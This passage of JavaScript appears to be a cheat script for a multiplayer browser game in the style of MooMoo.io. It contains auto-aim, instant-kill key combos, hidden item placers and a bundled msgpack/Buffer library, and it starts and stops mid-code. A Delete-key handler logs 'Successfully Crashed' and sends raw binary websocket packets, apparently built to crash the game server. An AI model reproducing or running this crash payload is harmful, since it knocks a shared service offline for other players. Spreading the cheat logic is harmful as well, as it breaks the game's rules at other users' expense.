autoaim = true;
insta = true;
gona = false;
doNewSend(["5", [primary, true]]);
doNewSend(["c", [1]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}else{
if (primary == "5", "4") {
insta = true;
gona = false;
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["c", [1]]);
}
}
setTimeout( () => {
if(nearestEnemy[9] == 6) {
doNewSend(["5", [secondary, true]]);
doNewSend(["c", [1]]);
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}
}, 105.5);
setTimeout( () => {
if (primary == "5" || "4") {
autoaim = true;
doNewSend(["5", [primary, true]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}
}, 75);
setTimeout( () => {
doNewSend(["5", [primary, true]]);
doNewSend(["c", [0, null]]);
doNewSend(["c", [0, null]]);
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 12, 0]]);
doNewSend(["13c", [0, 11, 1]]);
autoaim = false;
gona = false;
insta = false;
}, 305);
}
}
if (perfectreveseinsta == true) {
if (e.keyCode == 82 && document.activeElement.id.toLowerCase() !== 'chatbox') {
if (syncchatok == true) {
doNewSend(["ch", ["!sync"]]);
}
insta=true;
gona=false;
autoaim=!0;
autoaim=true;
autosecondary=true
doNewSend(["5", [secondary, true]]);
doNewSend(["33",[autoaim=true]]);
doNewSend(["13c",[0,0,1]]);
doNewSend(["13c",[1,53,0]]);
doNewSend(["13c",[0,53,0]]);
doNewSend(["13c",[1,21,1]]);
doNewSend(["13c",[0,21,1]]);
doNewSend(["c",[1]]);
setTimeout(()=>{
autosecondary=false
autoprimary=true
doNewSend(["5", [primary, true]]);
doNewSend(["13c",[1,7,0]]);
doNewSend(["13c",[0,7,0]]);
doNewSend(["13c",[0,0,1]]);
doNewSend(["13c",[1,18,1]]);
doNewSend(["13c",[0,18,1]]);
},90.5);
setTimeout(()=>{
autoprimary=false
doNewSend(["13c",[1,11,1]]);
doNewSend(["13c",[1,12,0]]);
doNewSend(["13c",[1,31,0]]);
doNewSend(["13c",[1,6,0]]);
doNewSend(["13c",[1,15,0]]);
doNewSend(["13c",[0,0,1]]);
doNewSend(["13c",[0,0,0]]);
if(myPlayer.y<2400){
doNewSend(["13c",[0,11,1]]);
doNewSend(["13c",[0,15,0]]);
}else if(myPlayer.y>6850&&myPlayer.y<7550){
doNewSend(["13c",[0,11,1]]);
doNewSend(["13c",[0,31,0]]);
}else if(isEnemyNear==true){
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
}
autoaim=!1;
autoaim=false;
doNewSend(["33",[autoaim=false]]);
doNewSend(["c",[0, null]]);
gona=false;
insta=false;
},292);
}
}
if (e.keyCode == 46 && document.activeElement.id.toLowerCase() !== 'chatbox') {
console.log("Successfully Crashed");
ws.send(new Uint8Array([135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180]));
ws.send(new Uint8Array([151, 8, 192, 103, 36, 183, 235, 99, 236, 91, 233, 118, 103,
249, 168, 199, 56, 173, 146, 212, 95, 55, 88, 215, 114, 23, 163, 37, 216, 18, 153,
90, 204, 58, 152, 204, 128, 97, 61, 232, 38, 38, 207, 172, 78, 33, 157, 98, 168,
162, 17, 222, 226, 204, 16, 5, 61, 180, 102, 14, 184, 102, 132, 152, 125, 171, 208,
193, 154, 115, 218, 139, 150, 218, 203, 116, 195, 140, 171, 109, 242, 166, 53, 55,
124, 192, 33, 70, 78, 134, 149, 39, 179, 178, 198, 142, 134, 69, 139, 153, 10, 11,
143, 194, 154, 176, 102, 15, 206, 140, 37, 66, 194, 123, 241, 66, 81, 17, 124, 208,
148, 148, 16, 202, 203, 122, 129, 16, 221, 0, 246, 221, 198]));
ws.send(new Uint8Array([134, 228, 168, 240, 135, 52, 63, 243, 156, 54, 82, 25, 228,
149, 156, 96, 130, 41, 106, 183, 238, 137, 26, 187, 129, 157, 164, 132, 60, 111,
42, 139, 200, 210, 0, 244, 107, 130, 31, 70, 68, 210, 186, 13, 35, 65, 171, 251,
59, 137, 239, 239, 232, 27, 253, 74, 250, 241, 136, 244, 131, 195, 117, 104, 41,
221, 1, 79, 159, 103]));
ws.send(new Uint8Array([159, 18, 223, 1, 76, 246, 3]));
ws.send(new Uint8Array([150, 121, 136, 241, 19, 192, 165, 66, 136, 185, 223, 70,
43, 9, 34, 102, 241, 61, 122, 51, 160, 53, 110, 129, 72, 227, 211, 62, 145, 15, 84,
250, 170, 140, 94, 240, 42, 223, 216, 97, 84, 57, 146, 249, 59, 125, 11, 96, 223,
1, 167, 236, 229]));
}
if (e.keyCode == 111 && document.activeElement.id.toLowerCase() !== 'chatbox') {
if (hatToggle == 0) {
hatToggle = 1;
doNewSend(["ch", [""]]);
} else {
doNewSend(["ch", [""]]);
hatToggle = 0;
}
}
if (e.keyCode == 106 && document.activeElement.id.toLowerCase() !== 'chatbox') {
if (healToggle == 0) {
healToggle = 1;
doNewSend(["ch", [""]]);
} else {
doNewSend(["ch", [""]]);
healToggle = 0;
}
}
});
document.addEventListener('keyup', (e)=>{
if (normalplacer == true) {
spikePlacer.stop(e.keyCode);
healer.stop(e.keyCode);
boostPlacer.stop(e.keyCode);
millPlacer.stop(e.keyCode);
turretPlacer.stop(e.keyCode);
spawnPlacer.stop(e.keyCode);
}
if (invisplacer == true) {
healer5412521.stop(e.keyCode);
boostPlacer9563486.stop(e.keyCode);
spikePlacer534895934.stop(e.keyCode);
mill50293535.stop(e.keyCode);
turretplacer123213231.stop(e.keyCode);
spawnPlacer345345345.stop(e.keyCode);
}
})
function isElementVisible(e) {
return (e.offsetParent !== null);
}
function toRad(angle) {
return angle * 0.01745329251;
}
function dist(a, b){
return Math.sqrt( Math.pow((b.y-a[2]), 2) + Math.pow((b.x-a[1]), 2) );
}
function distance_1(a, b) {
return Math.sqrt(Math.pow((b.y-a[2]), 2) + Math.pow((b.x-a[1]), 2));
}
function distance_2(a, b) {
return Math.sqrt(Math.pow((b[2]-a[2]), 2) + Math.pow((b[1]-a[1]), 2));
}
function distance_3(a, b) {
return Math.sqrt(Math.pow((b.y-a.y), 2) + Math.pow((b.x-a.x), 2));
}
function update() {
for (let i = 0; i < 9; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
primary = i;}};
for (let i = 9; i < 16; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
secondary = i;}}
for (let i = 16; i < 19; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
foodType = i - 16;}};
for (let i = 19; i < 22; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
wallType = i - 16;}}
for (let i = 22; i < 26; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
spikeType = i - 16;}};
for (let i = 26; i < 29; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
millType = i - 16;}};
for (let i = 29; i < 31; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
mineType = i - 16;}};
for (let i = 31; i < 33; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
boostType = i - 16;}};
for (let i = 33; i < 39; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString())) &&
i != 36) {
turretType = i - 16;}};
spawnpadType = 36;
for (let i = 36; i < 37; i++) {
if (isElementVisible(document.getElementById("actionBarItem" + i.toString()))) {
spawnpadType = i - 16;}};}
/*
var promusic; promusic =
"https://cdn.discordapp.com/attachments/877181653569650770/882000684516507718/PRo_M
usic.mp3";
var mine155 = new Audio(promusic);
$("#mapDisplay").click( () => {mine155.play();mine155.play();$
("#mapDisplay").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#leaderboard").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#storeButton").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#allianceButton").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#chatButton").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#storeMenu").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#allianceMenu").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#resourceDisplay").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#itemInfoHolder").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#foodDisplay").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#woodDisplay").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#stoneDisplay").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#scoreDisplay").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#killCounter").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#chatBox").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#actionBarItem").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#uiElement").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#ageBarBody").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});$("#ageBar").css({background:
`url('https://cdn.discordapp.com/attachments/850336376263147540/874888072330903593/
pro_pic.gif')`});
});*/
var primaryReload = [];
var secondaryReload = [];
var turretReload = [];
!function(e) {
var t = {};
function n(i) {
if (t[i])
return t[i].exports;
var r = t[i] = {
i: i,
l: !1,
exports: {}
};
return e[i].call(r.exports, r, r.exports, n),
r.l = !0,
r.exports
}
n.m = e,
n.c = t,
n.d = function(e, t, i) {
n.o(e, t) || Object.defineProperty(e, t, {
enumerable: !0,
get: i
})
}
,
n.r = function(e) {
"undefined" != typeof Symbol && Symbol.toStringTag &&
Object.defineProperty(e, Symbol.toStringTag, {
value: "Module"
}),
Object.defineProperty(e, "__esModule", {
value: !0
})
}
,
n.t = function(e, t) {
if (1 & t && (e = n(e)),
8 & t)
return e;
if (4 & t && "object" == typeof e && e && e.__esModule)
return e;
var i = Object.create(null);
if (n.r(i),
Object.defineProperty(i, "default", {
enumerable: !0,
value: e
}),
2 & t && "string" != typeof e)
for (var r in e)
n.d(i, r, function(t) {
return e[t]
}
.bind(null, r));
return i
}
,
n.n = function(e) {
var t = e && e.__esModule ? function() {
return e.default
}
: function() {
return e
}
;
return n.d(t, "a", t),
t
}
,
n.o = function(e, t) {
return Object.prototype.hasOwnProperty.call(e, t)
}
,
n.p = "",
n(n.s = 21)
}([function(e, t, n) {
var i = t.global = n(25)
, r = t.hasBuffer = i && !!i.isBuffer
, s = t.hasArrayBuffer = "undefined" != typeof ArrayBuffer
, a = t.isArray = n(5);
t.isArrayBuffer = s ? function(e) {
return e instanceof ArrayBuffer || p(e)
}
: m;
var o = t.isBuffer = r ? i.isBuffer : m
, c = t.isView = s ? ArrayBuffer.isView || y("ArrayBuffer", "buffer") : m;
t.alloc = d,
t.concat = function(e, n) {
n || (n = 0,
Array.prototype.forEach.call(e, (function(e) {
n += e.length
}
)));
var i = this !== t && this || e[0]
, r = d.call(i, n)
, s = 0;
return Array.prototype.forEach.call(e, (function(e) {
s += f.copy.call(e, r, s)
}
)),
r
}
,
t.from = function(e) {
return "string" == typeof e ? function(e) {
var t = 3 * e.length
, n = d.call(this, t)
, i = f.write.call(n, e);
return t !== i && (n = f.slice.call(n, 0, i)),
n
}
.call(this, e) : g(this).from(e)
}
;
var l = t.Array = n(28)
, h = t.Buffer = n(29)
, u = t.Uint8Array = n(30)
, f = t.prototype = n(6);
function d(e) {
return g(this).alloc(e)
}
var p = y("ArrayBuffer");
function g(e) {
return o(e) ? h : c(e) ? u : a(e) ? l : r ? h : s ? u : l
}
function m() {
return !1
}
function y(e, t) {
return e = "[object " + e + "]",
function(n) {
return null != n && {}.toString.call(t ? n[t] : n) === e
}
}
}
, function(e, t, n) {
var i = n(5);
t.createCodec = o,
t.install = function(e) {
for (var t in e)
s.prototype[t] = a(s.prototype[t], e[t])
}
,
t.filter = function(e) {
return i(e) ? function(e) {
return e = e.slice(),
function(n) {
return e.reduce(t, n)
}
;
function t(e, t) {
return t(e)
}
}(e) : e
}
;
var r = n(0);
function s(e) {
if (!(this instanceof s))
return new s(e);
this.options = e,
this.init()
}
function a(e, t) {
return e && t ? function() {
return e.apply(this, arguments),
t.apply(this, arguments)
}
: e || t
}
function o(e) {
return new s(e)
}
s.prototype.init = function() {
var e = this.options;
return e && e.uint8array && (this.bufferish = r.Uint8Array),
this
}
,
t.preset = o({
preset: !0
})
}
, function(e, t, n) {
var i = n(3).ExtBuffer
, r = n(32)
, s = n(33)
, a = n(1);
function o() {
var e = this.options;
return this.encode = function(e) {
var t = s.getWriteType(e);
return function(e, n) {
var i = t[typeof n];
if (!i)
throw new Error('Unsupported type "' + typeof n + '": ' + n);
i(e, n)
}
}(e),
e && e.preset && r.setExtPackers(this),
this
}
a.install({
addExtPacker: function(e, t, n) {
n = a.filter(n);
var r = t.name;
r && "Object" !== r ? (this.extPackers || (this.extPackers = {}))[r] =
s : (this.extEncoderList || (this.extEncoderList = [])).unshift([t, s]);
function s(t) {
return n && (t = n(t)),
new i(t,e)
}
},
getExtPacker: function(e) {
var t = this.extPackers || (this.extPackers = {})
, n = e.constructor
, i = n && n.name && t[n.name];
if (i)
return i;
for (var r = this.extEncoderList || (this.extEncoderList = []), s =
r.length, a = 0; a < s; a++) {
var o = r[a];
if (n === o[0])
return o[1]
}
},
init: o
}),
t.preset = o.call(a.preset)
}
, function(e, t, n) {
t.ExtBuffer = function e(t, n) {
if (!(this instanceof e))
return new e(t,n);
this.buffer = i.from(t),
this.type = n
}
;
var i = n(0)
}
, function(e, t) {
t.read = function(e, t, n, i, r) {
var s, a, o = 8 * r - i - 1, c = (1 << o) - 1, l = c >> 1, h = -7, u = n ?
r - 1 : 0, f = n ? -1 : 1, d = e[t + u];
for (u += f,
s = d & (1 << -h) - 1,
d >>= -h,
h += o; h > 0; s = 256 * s + e[t + u],
u += f,
h -= 8)
;
for (a = s & (1 << -h) - 1,
s >>= -h,
h += i; h > 0; a = 256 * a + e[t + u],
u += f,
h -= 8)
;
if (0 === s)
s = 1 - l;
else {
if (s === c)
return a ? NaN : 1 / 0 * (d ? -1 : 1);
a += Math.pow(2, i),
s -= l
}
return (d ? -1 : 1) * a * Math.pow(2, s - i)
}
,
t.write = function(e, t, n, i, r, s) {
var a, o, c, l = 8 * s - r - 1, h = (1 << l) - 1, u = h >> 1, f = 23 ===
r ? Math.pow(2, -24) - Math.pow(2, -77) : 0, d = i ? 0 : s - 1, p = i ? 1 : -1, g =
t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
for (t = Math.abs(t),
isNaN(t) || t === 1 / 0 ? (o = isNaN(t) ? 1 : 0,
a = h) : (a = Math.floor(Math.log(t) / Math.LN2),
t * (c = Math.pow(2, -a)) < 1 && (a--,
c *= 2),
(t += a + u >= 1 ? f / c : f * Math.pow(2, 1 - u)) * c >= 2 && (a++,
c /= 2),
a + u >= h ? (o = 0,
a = h) : a + u >= 1 ? (o = (t * c - 1) * Math.pow(2, r),
a += u) : (o = t * Math.pow(2, u - 1) * Math.pow(2, r),
a = 0)); r >= 8; e[n + d] = 255 & o,
d += p,
o /= 256,
r -= 8)
;
for (a = a << r | o,
l += r; l > 0; e[n + d] = 255 & a,
d += p,
a /= 256,
l -= 8)
;
e[n + d - p] |= 128 * g
}
}
, function(e, t) {
var n = {}.toString;
e.exports = Array.isArray || function(e) {
return "[object Array]" == n.call(e)
}
}
, function(e, t, n) {
var i = n(31);
t.copy = c,
t.slice = l,
t.toString = function(e, t, n) {
return (!a && r.isBuffer(this) ? this.toString : i.toString).apply(this,
arguments)
}
,
t.write = function(e) {
return function() {
return (this[e] || i[e]).apply(this, arguments)
}
}("write");
var r = n(0)
, s = r.global
, a = r.hasBuffer && "TYPED_ARRAY_SUPPORT"in s
, o = a && !s.TYPED_ARRAY_SUPPORT;
function c(e, t, n, s) {
var a = r.isBuffer(this)
, c = r.isBuffer(e);
if (a && c)
return this.copy(e, t, n, s);
if (o || a || c || !r.isView(this) || !r.isView(e))
return i.copy.call(this, e, t, n, s);
var h = n || null != s ? l.call(this, n, s) : this;
return e.set(h, t),
h.length
}
function l(e, t) {
var n = this.slice || !o && this.subarray;
if (n)
return n.call(this, e, t);
var i = r.alloc.call(this, t - e);
return c.call(this, i, 0, e, t),
i
}
}
, function(e, t, n) {
(function(e) {
!function(t) {
var n, i = "undefined", r = i !== typeof e && e, s = i !== typeof
Uint8Array && Uint8Array, a = i !== typeof ArrayBuffer && ArrayBuffer, o = [0, 0,
0, 0, 0, 0, 0, 0], c = Array.isArray || function(e) {
return !!e && "[object Array]" == Object.prototype.toString.call(e)
}
, l = 4294967296;
function h(e, c, h) {
var b = c ? 0 : 4
, x = c ? 4 : 0
, S = c ? 0 : 3
, T = c ? 1 : 2
, I = c ? 2 : 1
, E = c ? 3 : 0
, M = c ? y : v
, A = c ? k : w
, P = O.prototype
, B = "is" + e
, C = "_" + B;
return P.buffer = void 0,
P.offset = 0,
P[C] = !0,
P.toNumber = R,
P.toString = function(e) {
var t = this.buffer
, n = this.offset
, i = _(t, n + b)
, r = _(t, n + x)
, s = ""
, a = !h && 2147483648 & i;
for (a && (i = ~i,
r = l - r),
e = e || 10; ; ) {
var o = i % e * l + r;
if (i = Math.floor(i / e),
r = Math.floor(o / e),
s = (o % e).toString(e) + s,
!i && !r)
break
}
return a && (s = "-" + s),
s
}
,
P.toJSON = R,
P.toArray = u,
r && (P.toBuffer = f),
s && (P.toArrayBuffer = d),
O[B] = function(e) {
return !(!e || !e[C])
}
,
t[e] = O,
O;
function O(e, t, r, c) {
return this instanceof O ? function(e, t, r, c, h) {
if (s && a && (t instanceof a && (t = new s(t)),
c instanceof a && (c = new s(c))),
t || r || c || n) {
if (!p(t, r))
h = r,
c = t,
r = 0,
t = new (n || Array)(8);
e.buffer = t,
e.offset = r |= 0,
i !== typeof c && ("string" == typeof c ? function(e,
t, n, i) {
var r = 0
, s = n.length
, a = 0
, o = 0;
"-" === n[0] && r++;
for (var c = r; r < s; ) {
var h = parseInt(n[r++], i);
if (!(h >= 0))
break;
o = o * i + h,
a = a * i + Math.floor(o / l),
o %= l
}
c && (a = ~a,
o ? o = l - o : a++),
j(e, t + b, a),
j(e, t + x, o)
}(t, r, c, h || 10) : p(c, h) ? g(t, r, c, h) :
"number" == typeof h ? (j(t, r + b, c),
j(t, r + x, h)) : c > 0 ? M(t, r, c) : c < 0 ? A(t, r,
c) : g(t, r, o, 0))
} else
e.buffer = m(o, 0)
}(this, e, t, r, c) : new O(e,t,r,c)
}
function R() {
var e = this.buffer
, t = this.offset
, n = _(e, t + b)
, i = _(e, t + x);
return h || (n |= 0),
n ? n * l + i : i
}
function j(e, t, n) {
e[t + E] = 255 & n,
n >>= 8,
e[t + I] = 255 & n,
n >>= 8,
e[t + T] = 255 & n,
n >>= 8,
e[t + S] = 255 & n
}
function _(e, t) {
return 16777216 * e[t + S] + (e[t + T] << 16) + (e[t + I] << 8)
+ e[t + E]
}
}
function u(e) {
var t = this.buffer
, i = this.offset;
return n = null,
!1 !== e && 0 === i && 8 === t.length && c(t) ? t : m(t, i)
}
function f(t) {
var i = this.buffer
, s = this.offset;
if (n = r,
!1 !== t && 0 === s && 8 === i.length && e.isBuffer(i))
return i;
var a = new r(8);
return g(a, 0, i, s),
a
}
function d(e) {
var t = this.buffer
, i = this.offset
, r = t.buffer;
if (n = s,
!1 !== e && 0 === i && r instanceof a && 8 === r.byteLength)
return r;
var o = new s(8);
return g(o, 0, t, i),
o.buffer
}
function p(e, t) {
var n = e && e.length;
return t |= 0,
n && t + 8 <= n && "string" != typeof e[t]
}
function g(e, t, n, i) {
t |= 0,
i |= 0;
for (var r = 0; r < 8; r++)
e[t++] = 255 & n[i++]
}
function m(e, t) {
return Array.prototype.slice.call(e, t, t + 8)
}
function y(e, t, n) {
for (var i = t + 8; i > t; )
e[--i] = 255 & n,
n /= 256
}
function k(e, t, n) {
var i = t + 8;
for (n++; i > t; )
e[--i] = 255 & -n ^ 255,
n /= 256
}
function v(e, t, n) {
for (var i = t + 8; t < i; )
e[t++] = 255 & n,
n /= 256
}
function w(e, t, n) {
var i = t + 8;
for (n++; t < i; )
e[t++] = 255 & -n ^ 255,
n /= 256
}
h("Uint64BE", !0, !0),
h("Int64BE", !0, !1),
h("Uint64LE", !1, !0),
h("Int64LE", !1, !1)
}("string" != typeof t.nodeName ? t : this || {})
}
).call(this, n(11).Buffer)
}
, function(e, t, n) {
var i = n(3).ExtBuffer
, r = n(35)
, s = n(17).readUint8
, a = n(36)
, o = n(1);
function c() {
var e = this.options;
return this.decode = function(e) {
var t = a.getReadToken(e);
return function(e) {
var n = s(e)
, i = t[n];
if (!i)
throw new Error("Invalid type: " + (n ? "0x" + n.toString(16) :
n));
return i(e)
}
}(e),
e && e.preset && r.setExtUnpackers(this),
this
}
o.install({
addExtUnpacker: function(e, t) {
(this.extUnpackers || (this.extUnpackers = []))[e] = o.filter(t)
},
getExtUnpacker: function(e) {
return (this.extUnpackers || (this.extUnpackers = []))[e] ||
function(t) {
return new i(t,e)
}
},
init: c
}),
t.preset = c.call(o.preset)
}
, function(e, t, n) {
t.encode = function(e, t) {
var n = new i(t);
return n.write(e),
n.read()
}
;
var i = n(10).EncodeBuffer
}
, function(e, t, n) {
t.EncodeBuffer = r;
var i = n(2).preset;
function r(e) {
if (!(this instanceof r))
return new r(e);
if (e && (this.options = e,
e.codec)) {
var t = this.codec = e.codec;
t.bufferish && (this.bufferish = t.bufferish)
}
}
n(14).FlexEncoder.mixin(r.prototype),
r.prototype.codec = i,
r.prototype.write = function(e) {
this.codec.encode(this, e)
}
}
, function(e, t, n) {
"use strict";
(function(e) {
/*!
* The buffer module from node.js, for the browser.
*
* @author Feross Aboukhadijeh <http://feross.org>
* @license MIT
*/
var i = n(26)
, r = n(4)
, s = n(27);
function a() {
return c.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823
}
function o(e, t) {
if (a() < t)
throw new RangeError("Invalid typed array length");
return c.TYPED_ARRAY_SUPPORT ? (e = new Uint8Array(t)).__proto__ =
c.prototype : (null === e && (e = new c(t)),
e.length = t),
e
}
function c(e, t, n) {
if (!(c.TYPED_ARRAY_SUPPORT || this instanceof c))
return new c(e,t,n);
if ("number" == typeof e) {
if ("string" == typeof t)
throw new Error("If encoding is specified then the first
argument must be a string");
return u(this, e)
}
return l(this, e, t, n)
}
function l(e, t, n, i) {
if ("number" == typeof t)
throw new TypeError('"value" argument must not be a number');
return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer ?
function(e, t, n, i) {
if (t.byteLength,
n < 0 || t.byteLength < n)
throw new RangeError("'offset' is out of bounds");
if (t.byteLength < n + (i || 0))
throw new RangeError("'length' is out of bounds");
return t = void 0 === n && void 0 === i ? new Uint8Array(t) : void
0 === i ? new Uint8Array(t,n) : new Uint8Array(t,n,i),
c.TYPED_ARRAY_SUPPORT ? (e = t).__proto__ = c.prototype : e = f(e,
t),
e
}(e, t, n, i) : "string" == typeof t ? function(e, t, n) {
if ("string" == typeof n && "" !== n || (n = "utf8"),
!c.isEncoding(n))
throw new TypeError('"encoding" must be a valid string
encoding');
var i = 0 | p(t, n)
, r = (e = o(e, i)).write(t, n);
return r !== i && (e = e.slice(0, r)),
e
}(e, t, n) : function(e, t) {
if (c.isBuffer(t)) {
var n = 0 | d(t.length);
return 0 === (e = o(e, n)).length || t.copy(e, 0, 0, n),
e
}
if (t) {
if ("undefined" != typeof ArrayBuffer && t.buffer instanceof
ArrayBuffer || "length"in t)
return "number" != typeof t.length || function(e) {
return e != e
}(t.length) ? o(e, 0) : f(e, t);
if ("Buffer" === t.type && s(t.data))
return f(e, t.data)
}
throw new TypeError("First argument must be a string, Buffer,
ArrayBuffer, Array, or array-like object.")
}(e, t)
}
function h(e) {
if ("number" != typeof e)
throw new TypeError('"size" argument must be a number');
if (e < 0)
throw new RangeError('"size" argument must not be negative')
}
function u(e, t) {
if (h(t),
e = o(e, t < 0 ? 0 : 0 | d(t)),
!c.TYPED_ARRAY_SUPPORT)
for (var n = 0; n < t; ++n)
e[n] = 0;
return e
}
function f(e, t) {
var n = t.length < 0 ? 0 : 0 | d(t.length);
e = o(e, n);
for (var i = 0; i < n; i += 1)
e[i] = 255 & t[i];
return e
}
function d(e) {
if (e >= a())
throw new RangeError("Attempt to allocate Buffer larger than
maximum size: 0x" + a().toString(16) + " bytes");
return 0 | e
}
function p(e, t) {
if (c.isBuffer(e))
return e.length;
if ("undefined" != typeof ArrayBuffer && "function" == typeof
ArrayBuffer.isView && (ArrayBuffer.isView(e) || e instanceof ArrayBuffer))
return e.byteLength;
"string" != typeof e && (e = "" + e);
var n = e.length;
if (0 === n)
return 0;
for (var i = !1; ; )
switch (t) {
case "ascii":
case "latin1":
case "binary":
return n;
case "utf8":
case "utf-8":
case void 0:
return z(e).length;
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return 2 * n;
case "hex":
return n >>> 1;
case "base64":
return H(e).length;
default:
if (i)
return z(e).length;
t = ("" + t).toLowerCase(),
i = !0
}
}
function g(e, t, n) {
var i = e[t];
e[t] = e[n],
e[n] = i
}
function m(e, t, n, i, r) {
if (0 === e.length)
return -1;
if ("string" == typeof n ? (i = n,
n = 0) : n > 2147483647 ? n = 2147483647 : n < -2147483648 && (n =
-2147483648),
n = +n,
isNaN(n) && (n = r ? 0 : e.length - 1),
n < 0 && (n = e.length + n),
n >= e.length) {
if (r)
return -1;
n = e.length - 1
} else if (n < 0) {
if (!r)
return -1;
n = 0
}
if ("string" == typeof t && (t = c.from(t, i)),
c.isBuffer(t))
return 0 === t.length ? -1 : y(e, t, n, i, r);
if ("number" == typeof t)
return t &= 255,
c.TYPED_ARRAY_SUPPORT && "function" == typeof
Uint8Array.prototype.indexOf ? r ? Uint8Array.prototype.indexOf.call(e, t, n) :
Uint8Array.prototype.lastIndexOf.call(e, t, n) : y(e, [t], n, i, r);
throw new TypeError("val must be string, number or Buffer")
}
function y(e, t, n, i, r) {
var s, a = 1, o = e.length, c = t.length;
if (void 0 !== i && ("ucs2" === (i = String(i).toLowerCase()) || "ucs-
2" === i || "utf16le" === i || "utf-16le" === i)) {
if (e.length < 2 || t.length < 2)
return -1;
a = 2,
o /= 2,
c /= 2,
n /= 2
}
function l(e, t) {
return 1 === a ? e[t] : e.readUInt16BE(t * a)
}
if (r) {
var h = -1;
for (s = n; s < o; s++)
if (l(e, s) === l(t, -1 === h ? 0 : s - h)) {
if (-1 === h && (h = s),
s - h + 1 === c)
return h * a
} else
-1 !== h && (s -= s - h),
h = -1
} else
for (n + c > o && (n = o - c),
s = n; s >= 0; s--) {
for (var u = !0, f = 0; f < c; f++)
if (l(e, s + f) !== l(t, f)) {
u = !1;
break
}
if (u)
return s
}
return -1
}
function k(e, t, n, i) {
n = Number(n) || 0;
var r = e.length - n;
i ? (i = Number(i)) > r && (i = r) : i = r;
var s = t.length;
if (s % 2 != 0)
throw new TypeError("Invalid hex string");
i > s / 2 && (i = s / 2);
for (var a = 0; a < i; ++a) {
var o = parseInt(t.substr(2 * a, 2), 16);
if (isNaN(o))
return a;
e[n + a] = o
}
return a
}
function v(e, t, n, i) {
return V(z(t, e.length - n), e, n, i)
}
function w(e, t, n, i) {
return V(function(e) {
for (var t = [], n = 0; n < e.length; ++n)
t.push(255 & e.charCodeAt(n));
return t
}(t), e, n, i)
}
function b(e, t, n, i) {
return w(e, t, n, i)
}
function x(e, t, n, i) {
return V(H(t), e, n, i)
}
function S(e, t, n, i) {
return V(function(e, t) {
for (var n, i, r, s = [], a = 0; a < e.length && !((t -= 2) < 0); +
+a)
i = (n = e.charCodeAt(a)) >> 8,
